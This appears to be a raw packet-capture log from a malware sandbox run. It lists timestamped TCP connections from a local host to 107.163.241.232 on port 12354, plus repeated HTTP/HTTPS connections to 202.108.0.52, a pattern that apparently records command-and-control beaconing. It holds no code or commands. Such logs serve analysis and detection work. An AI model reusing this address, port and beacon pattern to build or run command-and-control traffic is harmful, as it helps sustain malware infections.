Dec 11, 2024 16:26:34.835414886 CET	51168	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:34.952258110 CET	12354	51166	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:34.955060959 CET	80	51168	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:36.395996094 CET	80	51168	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:36.396095991 CET	51168	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:36.400935888 CET	51263	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:36.400978088 CET	443	51263	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:36.401060104 CET	51263	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:36.401585102 CET	51263	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:36.401665926 CET	443	51263	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:36.799621105 CET	12354	51154	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:36.800575972 CET	51154	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:36.838721037 CET	51154	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:36.839101076 CET	51291	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:36.939896107 CET	12354	51166	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:36.940479994 CET	51166	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:36.940557003 CET	51166	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:36.958116055 CET	12354	51154	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:36.958522081 CET	12354	51291	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:36.958677053 CET	51291	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:36.958987951 CET	51291	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:36.961554050 CET	51301	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:37.060663939 CET	12354	51166	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:37.078499079 CET	12354	51291	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:37.081322908 CET	12354	51301	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:37.085668087 CET	51301	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:37.085668087 CET	51301	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:37.205784082 CET	12354	51301	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:38.124238968 CET	443	51263	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:38.124352932 CET	51263	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:38.124809027 CET	51263	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:38.124815941 CET	443	51263	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:38.126401901 CET	51263	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:38.126408100 CET	443	51263	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:38.682759047 CET	51291	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:38.682787895 CET	51263	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:38.682848930 CET	51301	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:38.683820009 CET	51401	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:38.808703899 CET	12354	51401	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:38.809048891 CET	51401	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:38.809048891 CET	51401	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:38.872941017 CET	51168	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:38.873200893 CET	51413	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:38.874330044 CET	51414	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:38.928627968 CET	12354	51401	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:38.995562077 CET	80	51413	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:38.995598078 CET	80	51168	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:38.995729923 CET	51168	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:38.995750904 CET	51413	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:38.996000051 CET	51413	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:38.996587992 CET	12354	51414	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:39.000533104 CET	51414	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:39.000686884 CET	51414	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:39.115252972 CET	80	51413	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:39.119906902 CET	12354	51414	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:40.588187933 CET	80	51413	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:40.588258982 CET	51413	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:40.594553947 CET	51511	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:40.594594002 CET	443	51511	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:40.594669104 CET	51511	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:40.595087051 CET	51511	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:40.595098972 CET	443	51511	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:40.923464060 CET	12354	51401	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:40.924539089 CET	51401	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:40.962568045 CET	51401	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:40.962955952 CET	51533	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:41.131093979 CET	12354	51401	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:41.131119013 CET	12354	51533	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:41.131217957 CET	51533	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:41.131908894 CET	51533	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:41.177120924 CET	12354	51414	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:41.177175999 CET	51414	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:41.177525043 CET	51414	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:41.177926064 CET	51548	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:41.251414061 CET	12354	51533	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:41.296828985 CET	12354	51414	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:41.297286987 CET	12354	51548	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:41.297375917 CET	51548	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:41.297849894 CET	51548	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:41.419028044 CET	12354	51548	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:42.402204990 CET	443	51511	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:42.403408051 CET	51511	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:42.414186954 CET	51511	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:42.414199114 CET	443	51511	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:42.416189909 CET	51511	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:42.416194916 CET	443	51511	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:42.880908012 CET	51533	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:42.881026030 CET	51548	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:42.881081104 CET	51511	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:42.881532907 CET	51639	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:43.001009941 CET	12354	51639	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:43.002661943 CET	51639	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:43.011594057 CET	51639	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:43.113173008 CET	51649	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:43.113516092 CET	51413	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:43.113660097 CET	51650	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:43.131660938 CET	12354	51639	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:43.233113050 CET	12354	51649	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:43.233341932 CET	80	51650	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:43.233401060 CET	51649	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:43.233448029 CET	51650	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:43.233506918 CET	80	51413	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:43.233551979 CET	51649	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:43.233589888 CET	51413	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:43.233830929 CET	51650	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:43.355695009 CET	12354	51649	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:43.355901957 CET	80	51650	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:44.843293905 CET	80	51650	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:44.843445063 CET	51650	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:44.847440958 CET	51758	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:44.847496033 CET	443	51758	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:44.847618103 CET	51758	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:44.847865105 CET	51758	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:44.847898960 CET	443	51758	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:45.109358072 CET	12354	51639	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:45.112587929 CET	51639	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:45.132996082 CET	51639	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:45.133686066 CET	51772	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:45.252990961 CET	12354	51639	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:45.254158020 CET	12354	51772	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:45.254270077 CET	51772	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:45.256422043 CET	51772	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:45.375915051 CET	12354	51772	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:45.400542021 CET	12354	51649	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:45.404512882 CET	51649	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:45.412477970 CET	51649	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:45.412853956 CET	51788	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:45.532255888 CET	12354	51649	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:45.532551050 CET	12354	51788	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:45.532624006 CET	51788	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:45.532934904 CET	51788	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:45.653270960 CET	12354	51788	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:46.539190054 CET	443	51758	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:46.540497065 CET	51758	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:46.540961981 CET	51758	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:46.540973902 CET	443	51758	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:46.542789936 CET	51758	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:46.542797089 CET	443	51758	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:47.021428108 CET	51788	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:47.021449089 CET	51772	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:47.021563053 CET	51758	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:47.023505926 CET	52165	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:47.144407034 CET	12354	52165	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:47.144527912 CET	52165	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:47.152116060 CET	52165	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:47.270173073 CET	52286	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:47.272109985 CET	51650	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:47.272399902 CET	52287	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:47.272437096 CET	12354	52165	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:47.390261889 CET	12354	52286	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:47.390372038 CET	52286	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:47.390743971 CET	52286	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:47.392849922 CET	80	52287	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:47.393104076 CET	52287	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:47.393599033 CET	52287	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:47.402165890 CET	80	51650	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:47.404491901 CET	51650	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:47.510015011 CET	12354	52286	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:47.514178038 CET	80	52287	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:48.972421885 CET	80	52287	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:48.972487926 CET	52287	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:48.976927042 CET	53986	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:48.976978064 CET	443	53986	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:48.977046013 CET	53986	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:48.977338076 CET	53986	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:48.977349997 CET	443	53986	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:49.252137899 CET	12354	52165	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:49.252248049 CET	52165	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:49.252564907 CET	52165	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:49.253237963 CET	54230	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:49.378622055 CET	12354	52165	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:49.379344940 CET	12354	54230	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:49.380012989 CET	54230	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:49.381890059 CET	54230	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:49.502441883 CET	12354	54230	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:49.518174887 CET	12354	52286	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:49.518332958 CET	52286	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:49.518796921 CET	52286	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:49.519208908 CET	54505	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:49.638420105 CET	12354	52286	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:49.638895035 CET	12354	54505	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:49.638988018 CET	54505	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:49.639357090 CET	54505	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:49.758516073 CET	12354	54505	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:50.667037010 CET	443	53986	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:50.667110920 CET	53986	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:50.667761087 CET	53986	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:50.667792082 CET	443	53986	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:50.669414043 CET	53986	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:50.669430017 CET	443	53986	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:51.164088011 CET	54505	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:51.164088964 CET	54230	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:51.164390087 CET	53986	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:51.169258118 CET	56345	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:51.289278030 CET	12354	56345	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:51.289359093 CET	56345	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:51.306694031 CET	56345	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:51.333556890 CET	56391	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:51.344821930 CET	52287	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:51.345128059 CET	56393	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:51.428879023 CET	12354	56345	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:51.454464912 CET	12354	56391	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:51.454643011 CET	56391	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:51.464055061 CET	56391	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:51.465960979 CET	80	52287	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:51.466025114 CET	52287	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:51.466130972 CET	80	56393	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:51.466321945 CET	56393	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:51.511574984 CET	56393	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:51.584351063 CET	12354	56391	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:51.633757114 CET	80	56393	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:53.031333923 CET	80	56393	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:53.031470060 CET	56393	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:53.070913076 CET	56848	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:53.070955038 CET	443	56848	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:53.071007967 CET	56848	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:53.072864056 CET	56848	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:53.072881937 CET	443	56848	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:53.404695988 CET	12354	56345	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:53.404784918 CET	56345	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:53.405299902 CET	56345	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:53.406114101 CET	57204	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:53.526166916 CET	12354	56345	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:53.526184082 CET	12354	57204	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:53.526273966 CET	57204	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:53.526899099 CET	57204	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:53.580955029 CET	12354	56391	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:53.581051111 CET	56391	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:53.581298113 CET	56391	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:53.582006931 CET	57387	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:53.646306038 CET	12354	57204	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:53.700887918 CET	12354	56391	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:53.702404022 CET	12354	57387	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:53.702588081 CET	57387	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:53.703222036 CET	57387	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:53.825794935 CET	12354	57387	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:54.767743111 CET	443	56848	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:54.768096924 CET	56848	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:54.836926937 CET	56848	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:54.836952925 CET	443	56848	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:54.838653088 CET	56848	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:54.838660002 CET	443	56848	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:55.303111076 CET	57204	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:55.303155899 CET	57387	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:55.303159952 CET	56848	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:55.303641081 CET	58099	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:55.424345970 CET	12354	58099	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:55.424441099 CET	58099	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:55.426105022 CET	56393	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:55.426465034 CET	58178	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:55.426562071 CET	58099	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:55.427638054 CET	58179	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:55.546885014 CET	80	58178	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:55.546933889 CET	12354	58099	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:55.546946049 CET	80	56393	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:55.546967030 CET	58178	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:55.547014952 CET	56393	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:55.548259974 CET	12354	58179	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:55.548438072 CET	58179	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:55.555797100 CET	58178	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:55.556021929 CET	58179	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:55.675524950 CET	80	58178	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:55.675618887 CET	12354	58179	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:57.119369984 CET	80	58178	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:57.121723890 CET	58178	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:57.142541885 CET	59404	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:57.142590046 CET	443	59404	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:57.142735004 CET	59404	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:57.144733906 CET	59404	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:57.144746065 CET	443	59404	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:57.536539078 CET	12354	58099	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:57.536926031 CET	58099	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:57.540186882 CET	58099	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:57.540596008 CET	59753	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:57.659749031 CET	12354	58179	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:57.659852028 CET	12354	58099	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:57.659853935 CET	58179	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:57.659893036 CET	12354	59753	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:57.660140038 CET	59753	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:57.660485029 CET	58179	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:57.660661936 CET	59753	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:57.660664082 CET	59835	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:57.779745102 CET	12354	58179	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:57.780023098 CET	12354	59835	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:57.780035973 CET	12354	59753	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:57.780098915 CET	59835	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:57.780939102 CET	59835	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:57.900227070 CET	12354	59835	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:58.843210936 CET	443	59404	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:58.843329906 CET	59404	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:58.851140022 CET	59404	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:58.851154089 CET	443	59404	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:58.853456974 CET	59404	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:58.853467941 CET	443	59404	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:59.318494081 CET	59753	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:59.318497896 CET	59404	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:59.318718910 CET	59835	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:59.320080996 CET	60912	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:59.431123972 CET	61004	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:59.435013056 CET	58178	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:59.435203075 CET	61005	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:59.439384937 CET	12354	60912	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:59.439970016 CET	60912	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:59.440330029 CET	60912	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:59.550597906 CET	12354	61004	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:59.550909042 CET	61004	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:59.551230907 CET	61004	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:59.554681063 CET	80	61005	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:59.554912090 CET	61005	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:59.555200100 CET	80	58178	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:59.555228949 CET	61005	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:59.555306911 CET	58178	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:59.559739113 CET	12354	60912	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:59.671092987 CET	12354	61004	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:59.675412893 CET	80	61005	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:01.134193897 CET	80	61005	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:01.134269953 CET	61005	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:01.154555082 CET	62573	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:01.154597044 CET	443	62573	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:01.154665947 CET	62573	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:01.156584978 CET	62573	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:01.156596899 CET	443	62573	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:01.558568954 CET	12354	60912	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:01.560406923 CET	60912	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:01.675430059 CET	12354	61004	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:01.678467035 CET	61004	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:01.711371899 CET	60912	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:01.715354919 CET	62581	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:01.780432940 CET	61004	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:01.830832005 CET	12354	60912	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:01.835320950 CET	12354	62581	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:01.835460901 CET	62581	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:01.857419968 CET	62581	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:01.904623032 CET	12354	61004	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:01.926475048 CET	62583	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:01.983724117 CET	12354	62581	107.163.241.232	192.168.2.5
